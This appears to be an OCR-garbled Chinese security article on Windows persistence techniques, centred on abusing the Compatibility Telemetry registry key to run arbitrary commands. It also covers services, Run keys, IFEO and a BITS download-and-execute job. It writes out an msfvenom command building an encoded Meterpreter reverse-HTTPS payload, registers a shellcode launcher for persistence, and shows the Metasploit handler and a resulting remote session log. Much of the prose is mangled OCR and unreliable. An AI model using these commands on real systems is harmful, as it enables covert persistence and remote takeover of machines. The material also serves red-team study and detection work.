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AR RNIE, BT RS KETEFINA, RENWEEEEEFEMEEIMERDP, TUEITEHR
BeERFITLEIRS, BITHEEEEEIAtomicService.exe XM HIE,

sc.exe create #{service_name} binPath= #{binary_path}
sc.exe start #{service_name}

RE

New-Service -Name "\#{service_name}" -BinaryPathName "\#{binary_path}"

Start-Service -Name "\#{service_namel}"
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startup XX FRINEF U REBUEM RO FELRERTIIN. BRPEREMAIZINEFORT,
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Windows= ERIARATAIAE R IEM R
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

BEIRS B

e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOn
ce

e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnc
e

e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

XHREF

e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserSh

ell Folders

e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellF
olders

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Sh
ellFolders

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Us
erShell Folders
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https://mp.weixin.qq.com/s/Y4zK4GFDOFAmBwgKhbkS-A 2/14



2020/7/27 Z1INZ Bk 3E T Windows telemetry (A B 4t
NEEFBEDLL (shASbERE) MEIERRIE, DLLAFEF B TOLLAE R 2 M AR ADLL
EREEDLLEANNBREZF.,

EHRAUEFENIFENODLL, — &R KW, A A LA{E B ProcessExplorer B 45 & 7 it &
KnownDLLs(windows 7 A EhRAS)BIR] o #fr, BJBEfFEDLLAIFHNRE. WA sEEFEDLLMIFZHNIR
RHITRE, BRER—BRHITPOCHIL,

BR{G &5

WFRAIFEO (Image File Execution Options)
SAPREREIREGEHT, BERERREMNEERLSEN.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Option\[##5f2F & F]

i Ndebuggeri# & {ENEMAVIEEIRZ,
A e TEEAEERRNT:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image FileExec

& (A gflags TRAAMsilent process exitIfffE, X TEFFHFSBENRAIXEZFRNITS
— N ERF.

Comihis

ERAIEZBUIMREEDTHNDLLE EHEEXENEMNER L, IL1EEFRANEEBREFINEEDLLEE
EXE, RIEBHEHSFDLLEEFER

—RRESFIAB AT

SERAMA, RHAF BN EST HRACOMNAME NOTFOUND)BH KR, MEMIFMNX
1¢ BN P A ERBERRRZ TRXYE, EBRENRBZMEBXMG.
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BIT/SI]

WindowsNEEaEHM TR, BMEENAEFELE, REEMHEMNAPREERRTSHERITN
%E&R, BITSHizHEEHRXYG, ERERBIEE,

A B A -

bitsadmin /create test

bitsadmin /addfile test "http://x.x.x.x/x "//"C:\tmp\xx"
bitsadmin /SetNotifyCmdLine test C:\tmp\xx NUL

bitsadmin /SetMinRetryDelay "test" 60

bitsadmin /resume test

WMICEI‘]%%O o o o

EEMRNAR, SMERIENSHELNER, EMRHAITTHE. AUARNFTEESHNEEE

Microsoft Compatibility Telemetry M FE S 4 1E MRS

neg:

CompatTelRunner.exe& BB F 8] LA7ZEWindows CompatibilityTelemetryfR$S Fiz1THHFTE, ©@
BAIFC:\ \Windows \\System32B R, ENRWEAXITENREUEENSFRARLBIE, HIE
HZ1xBMicrosofti#{TWindows B P A E 1T XA R A FWindowsR1E RSN ARITIZH . %3
RERATCPUNME B D LERFITXHEHITE, RAEEITInternetEIZEMEBIE. ELt, APERIBE!
BEEMEREERIEEZRGHIGNIER,
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o vlad978123. Created on December 26, 2017 ~
Permanently Disabling Windows Compatibility Telemetry
Hello,

In Task Manager, | often see the Windows Compatibility Telemetry process running in the background and unnecessarily creating CPU
usage. Can you explain how to permanently turn off the telemetry?

& This thread is locked. You can follow the question or vote as helpful, but you cannot reply to this thread.

| have the same question (434) Subscribe

Emm... 2 MEE XIS E 4 Fdisableftl, BRWEESATEVRGTEL.
ERNSHAEENTHEL:

1. BB ANIR,#F BT MUE AHKLM(HKEY_LOCAL_MACHINE)
2. Windows Server2008R2, 2016, Windows 7 /10
3. MK BRI IE & E &

HiE:

ERESIIES

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatF

AINMER R F .

AINBFRACommand E£EZREG_SZ , Data valuelBEEH1ERN1THexefzF;

Bl i — > DWORDRIKEY, FFRA XA Nightly, Oobe, Maintanance B ENNEIREMKI,
Nightly®#E X & Mg 24/ HIT—IX,

REER TR REREXE (Mnightlymfl) , Eilregt& =\ S AR,

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompat
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e aat s memamma—s - e ey o e R

HEHNHKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\termp

Appraiser ~ | EFF -] =

AvTracking REG 57 EEFER)

CaretTracking REG SZ Chwindows\systerm32\notepad.exe
T 54| Nightly REG_DWORD 0x00000001 (1)

ClientTelemetry
Compatibility Assistant
CompatMarkers
Custom
GeneralMarkers
PenService
Shared
> TargetVersionUpgradeExperi
v TelemetryController
Appraiser
AppraiserServer
AvStatus
Devinv
Encapsulation

InvAgent

temp

UpgradeExperiencelndicators

MRBIAUBNITEBRR A UECortanal @ RIER N “ESITH”, FIFESITHER", LM
SMBEBPRORBRAEMLE “ESITIEFE,

e Microsoft — Windows — Application Experience”, XM EAMNEEFEI RN
Microsoft Compatibility Appraiser BESitXI, BiEREIETENA,

D E=itaes - X
SR BiEW) BNV EEH)
&= 7|

O EEEs (@i

v (G EEtaEEE

£5 e Tomistang | [FHE

= Microsoft @ Microsoft .. [FIEET CEMUSMEASE 2020/6/17 409 | Application Experience 4
N ICroso - .
- (% ProgramDa... JEE#HE B sEEsEs.
_| OneCore - ;
v 7] Windows (& StartupApp... EETE v BEES..

1 .NET Framework

(@ Microsoft Compatibility Appraiser BiS(EFHEHER])
| Active Directory Rights Management Services Client

| AppID A BEE mr 24 22 FoERESA)

| Application Experience )

| ApplicationData SIS, ALUSERE TSNS,

| AppxDeploymentClient

J A.Utmhk BEE HHEEE s
_| BitLocker .

= Bluetooth —R £ 2008/9/1 #7 3:00 B - REE=, LIRSS 1.00:00:00 .. BEEH
| BrokerInfrastructure EI:EM‘ES% E’_':Em i

| CertificateServicesClient SRR SEVEEE B

A Chiledsle
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ToriEmaE | |
=22 2020/6/17 4:0¢

S Microsoft ...

(5 ProgramDa...

E{T(R)
HH(E)
ZERN
F(X)...
E1E(P)
k(D)

(® StartupApp...

schtasks /run /tn "\Microsoft\Windows\Application Experience\MicrosoftCon

Ff5Microsoft Compatibility Telemetry#17,

B FEeEE - b0 X
TR EWO) BEV)
HE 4 AALREDE BW AR EEE BS

v 34% 67% 8% 0%

= HE CPU AEF HE [Tk
[mE] Microsoft Compatibility Telemetry 32.5% 216 MB 0.5 MB/f! 0 Mbps ™

CEIRE= e i 0.5% OMB  OMB/MfF: 0 Mbps

REEFAEREBAEREFRITRINT .
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(R FEIO)

#E 4E MARSDE B3 BF HEEE Bs

=% B s PD  AFE A
[EMicrosofiEdge.exe B 4188 test
[EMicrosoftEdgeCP.exe (25 4760  test

55| MicrosoftEdgeSH.exe ZiEE 4856  test
s msdtc.exe FEET 2860 NETWOR...

5| MsMpEng.exe IFEET 1440  SYSTEM

5| NisSrv.exe IFEET 2900  LOCAL SE..

" |notepad.exe FEET 6032  SYSTEM
¥ regeditexe IEEET 3544 test
[ Registry 1FEET aa SYSTEM

ER SES: a$iEEe
licr V¥indo

BEEEBME, CompatTelRunner.exe frERABMEITHERAFEE, EE2—TAPMENMES, X
FER] DAL IR Z 4 .

BAT B AT AFE RS &R 23 TP XS HR 1T U B 1 F E R AT AT 18]
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B

| R REE BF &4 RE F[VCRCEEM
\ HEEER, LUEEREREENEE.

Az EE FHEER Ve
&5 £ Be—" 2/—i=f7, 81 —R8, FaBkE: 2008/9/1 =h=1s]
BEXMEE BEM ks S=]a2
BEMMEEE BEMARES Eig

HEM AR

FaEss6): RmEitkl

g8
O —rN) | FTE&(S): 2008/ 9/ 1 5 | 30000 - | O ExEEE@
O &X(D)
O =mwW) B(H): ’_E v
- ) FE(A):
osmm | OF& |
® T©O): | | [2m— -
PR E
EEESERERETER) (: 2 1\
At ESESEERE): X FrSATiElF): | KRR

BA [ ESEeEiTHEETENE LA TL): s =
84 [ BEERE00: 2021/ 616

2=M(B)

A

BAX BEAmsH ™ B 2 AN :

AmsfE®REEM T raw,

msfvenom -p windows/meterpreter/reverse_winhttps LH0ST=192.168.11.130 LP(
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:~# msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.11.130 LPORT=8888 —platform windows -a x86 -s 42 ——smallest -e x86/shikat
_nai -i 9 -f raw| msfvenom -—-platform windows -a x86 -e xB86/countdown -i 8 -f raw | msfvenom --platform windows -a x86 -e x86/call4_dword_xor -i 6 -b "

\x@a\x@d" -f raw > ~/Desktop/shellcode.raw
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload
x86/shikata_ga_nai succeeded
x86/shikata_ga_nai succeeded
x86/shikata_ga_nai succeeded
x86/shikata_ga_nai succeeded
shikata_ga_nai succeeded
x86/shikata_ga_nai succeeded
x86/shikata_ga_nai succeeded
«86/shikata_ga_nai succeeded with size 9 (iteration=7)
x86/shikata_ga_nai succeeded with size 666 (iteration=8)
x86/shikata_ga_nai chosen with final size 666
Payload size: 666 bytes
Found 1 compatible encoders
Attempting to encode payload
x86/countdown succeeded with
x86/countdown succeeded with
x86/countdown succeeded with
succeeded with
succeeded with
succeeded with
succeeded with
succeeded with
xB6/countdown chosen with final
Payload size: B81@ bytes
Found 1 compatible encoders
Attempflns to encode payload with 6 xteratluns of x86/callé_dword_xor

with
with
with
with
with
with
with
with

9 iterations of x86/shikata_ga_nai
size 450 (iteration

size (iteration=1)

size (iteration=2)

size (iteration=3)

size (iteration=4)

size (iteration=5)

size (iteration=6)

with
size
size
size
size
size
size
size 792

size 810

size 810

8 iterations cf xaﬁfccuntdown
684
782
720
738
756
774

(iteration=4)
%86/ countdown (iteration=5)
x86/countdown (

x86/countdown

HAX B {FEHshellcodenss:

https://github.com/clinicallyinane/shellcode_launcher/

BARALRATED AT :

shellcode_launcher.exe —i shellcode.raw

EPMHAET. (XBHWEEFERJEASEEMAEE, EEBEIANINEMERES, FRARESSE
R, RishellipLBAET K, BEHFNERE, )
=iF -] =
ab] (BiA) REG_SZ EEEEE)
M REG S7 Cishellcode launcher-master\run.bat
24| Nightly REG_DWORD 0x00000001 (1)
KALI:
msfconsole —-q -x 'use exploit/multi/handler; set ExitOnSession false; set

:~# msfconsole -q
@;set LPORT B8888; run -
ExitOnSession =» false
PAYLOAD = windows/meterpreter/reverse_winhttps

LHOST =+ 192.168.11.130
LPORT = B8E8
Exploit running as background j

b @.

Exploit completed, but no se n was created

BEZRBAGLIIN—T:

https://mp.weixin.qq.com/s/Y4zK4GFD9FAmBwgKhbkS-A

‘use exploit/multi/handler; set ExitOnSession false;

set PAYLOAD windows/meterpreter/reverse_winhttps;set LHOST 192.168.11.13
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patibility Appraiser”

SESSIONT B Ih L4 7,

msf5 exploit( ) >
Started HTTPS reverse handler on https://192.168.11.130:8888
https://192.168.11.130:8888 handling request from 192.168.11.134; (UUID: Bhulgpsb) Staging x86 payload (181337 bytes) ...
Meterpreter session 1 opened (192.168.11.130:8888 — 192.168.11.134:49692) at 2020-06-24 03:37:47 -0400

msf5 exploit( ) >
msfS5 exploit( ) > sessions 1
Starting interaction with 1...

meterpreter > sysinfo

Computer : DESKTOP-R3ANEVR
0s : Windows 10 (10.0@ Build 18363).
Architecture : Xb&

System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > I

ZCompatTelRunneriZTEMES ZHI, REANE—LERKHY, MALITIEREXERHFZ—.

1. RGN Windows103 & Server2019,

2. RAEFWindowshrRAAHIE Fif .

3. §1E:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataColl

ection\CommercialDataOptin@ DWORD RJZEHE B R H0

EBERE, T WindowsServer206 K T EETMHRARM T LENRESH, ME
CompatTelRunner.exe EFhRA ZA], XERBEASHIT, HEBRNTEMRITTFHCommand
w<, MEwindowshRAST %,

TRBRBEAINRE, FAESITSHRRERFEMMETRATEIT. FEMSELERHEY
NMEYEITRI.

MRBLITSEIEE T — " DLLE;E function, MCompatTelRunner.exeRRIBH/ENTIRITEA
BT, XESECompatTelRunner.exeBaIDLLIZEIEFHIBL ., MR FIRMEDLL/INEERFR,
FERBREIRAIZITIER .

M EHKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ WindowsNT \ CurrentVersion\
AppCompatFlags \ TelemetryController \OobefZ7E# B & H -maintenanceZ %1, M# NIE1T
B (OOBE) , ZBEBERTEHMIR.

WMRBMHT —maintenancez 1, BABMNBERILGTHHFAENO, HEEBINIRAFIRS:
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1.HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ WindowsNT \ CurrentVersion\

AppCompatFlags \ TelemetryController \ TestAllowRuni¥&HREG_DWORDAEEHNO
HRGUREINIUE,
RGURSIUERD N 4 S AT JU SRR Ak:
e “Power Saver” (TIHgR) UAMEKXKHAIRE.
o HBATFTRERS,
o WRBEFBIFDRIUERM, WMRAEMWIRSRIA, BIMMEEXT 5% IEFETTEMNN @S,

MRBEIT T —RWKIE, BRBEETMERFEERUNsBlocked N0, IR EEBINIGTMREE
RunsBlockedjn1,
B s - o

TP REE EENV) MEER EEH
TERNHKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersiom\AppCompatFlags\TelemetryController

v AppCompatFlags ~ || = ESid]| g
> || Appraiser ab] (BK3A) REG_SZ E@EFES)
> | AvTracking | LastMaintenanceRun REG_QWORD 0x1d64459e1ab3110 (132368391882879248)
7 || CaretTracking 4] LastNormalRun REG_QWORD 0x1d643b960056dc2 (132367702512987586)
> Lo o7 REG_QWORD 0x1d63f9a08e36f2b (132363169860644651)
> ClientTelemetry RE G:DWDRD ©

_ Compatibility Assistant

> CompatMarkers

Custom

GeneralMarkers

PenService

Shared
TargetVersionUpgradeExperienc
TelemetryCantroller

N TV

MBEREBEATRLITSE, N CompatTelRunner.exeld# NiziTE— (Nightly) ,
WEZTERILE, BXITESHIT—ERE., AEFARunTelemetryXig,

NREL A0 (-maintenance) , MFEHIT—LEHIINNE, KELREFAEEAF N0, WEF
T

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompat
Flags\TelemetryController.

AT FIUSELL SR TRE, HENRAEBRRTIETSN

IEEXYALELEE] B3

re Editor -

B structr

TelemetryProvicer (CompatTelRunner.exe]

Offset DataType | Hame | Comment
0 F] “addr pointer LPWSTR Command

a 4 didw dword DWISKL

12 4 didw dword CommandBytelen

16 8 addr pointer PRegKey

M 4 didw dword RunMede

P 1 db byte BoolMaintznance

% 1 b byte Booiobe

an 1 db byte DaalMighthy

31 1 db byte BoolSchedulingheeded
32 i do byte ScheduleChedResult

ﬁ
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MECHRF, PIAEERXLEFEREMNEMRIUET

QIMziii%%?WindOWS telemetry FAN FR4EF¢

e Command populates the LPWSTR Command/CommandBytelLen

¢ Maintenance sets BoolMaintenance
¢ Nightly sets BoolNightly

e Oobe sets BoolOobe

e Sku sets the DWORD DWSKU

e SchedulingNeeded sets BoolSchedulingNeeded

ALK IEEN SRR ME R Z P X R, WFAR:

char command[520] = {0}; StringCchCatW(command,

BIBERNEITEI /TR, "LOE -oobesy —fullsyncin iNE a8 21T,
25K ECreateProcessW(CreateProcessW) B F8IZ — M FiHfE &
BT, ST BEENshell e < iBIT,

260, L"%ls %ls%hs”, thic

=&, BEERE_TSHER
H¥ %z, fidiEEERAH#ESR

XEFEIENRNRZESHEERGE, HMNNFIBIRELSRHERE.

BE: BABMRF, EREZETEMN, dN—EEFHMBIAEBNAGEREBIRMSE LM
BERNBR, MEEMNEBERZEIRNESHEBRTETEECSHERA,

HKEY_LOCAL_MACHINE\SOFTWARE\WMicrosoft\Windows NT
\CurrentVersion\AppCompatFlags\TelemetryController i h0{E

BTWE-

.'; FIRFMEFHCommand #E 8 FREG 57 » DatavaluelEE
[ HMNEWITHexeE B, slE—1EFFAnighty, DWORDZEE

| _KEY, HEEREEEM -

FELIHGE o
| TEHE{E S H EFEMicroft Compatibility Appraiserdy #1773k
| FHEWITCMDE % schtasks /run /tn "WlicrosoftWindows
\ \Application Experience\Microsoft Compatibility Appraiser”
Microsoft Compatlblllty § ER B A
E1 51 BR,H B AIEAS A HKLM(HKEY_LOCAL_MACHINE)
Telemetry j&ﬂ?ﬁbﬁkﬂﬂﬁﬂﬂ

. | Windows Server 2008R2, Server 2016, Windows 7 /10
| FEREH :
| AR R

schtasks /query #fo list /v /tn "WMicrosoft\Windows\Application

. N Experience\Microsoft Compatibility Appraiser”
—| ®iEHE P
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ZE R

https://www.trustedsec.com/blog/abusing-windows-telemetry—for-persistence/

HMEER THE

PEIMARE, APAIR#EE, SHFBERFR

KR HRBXE BT SEBRA
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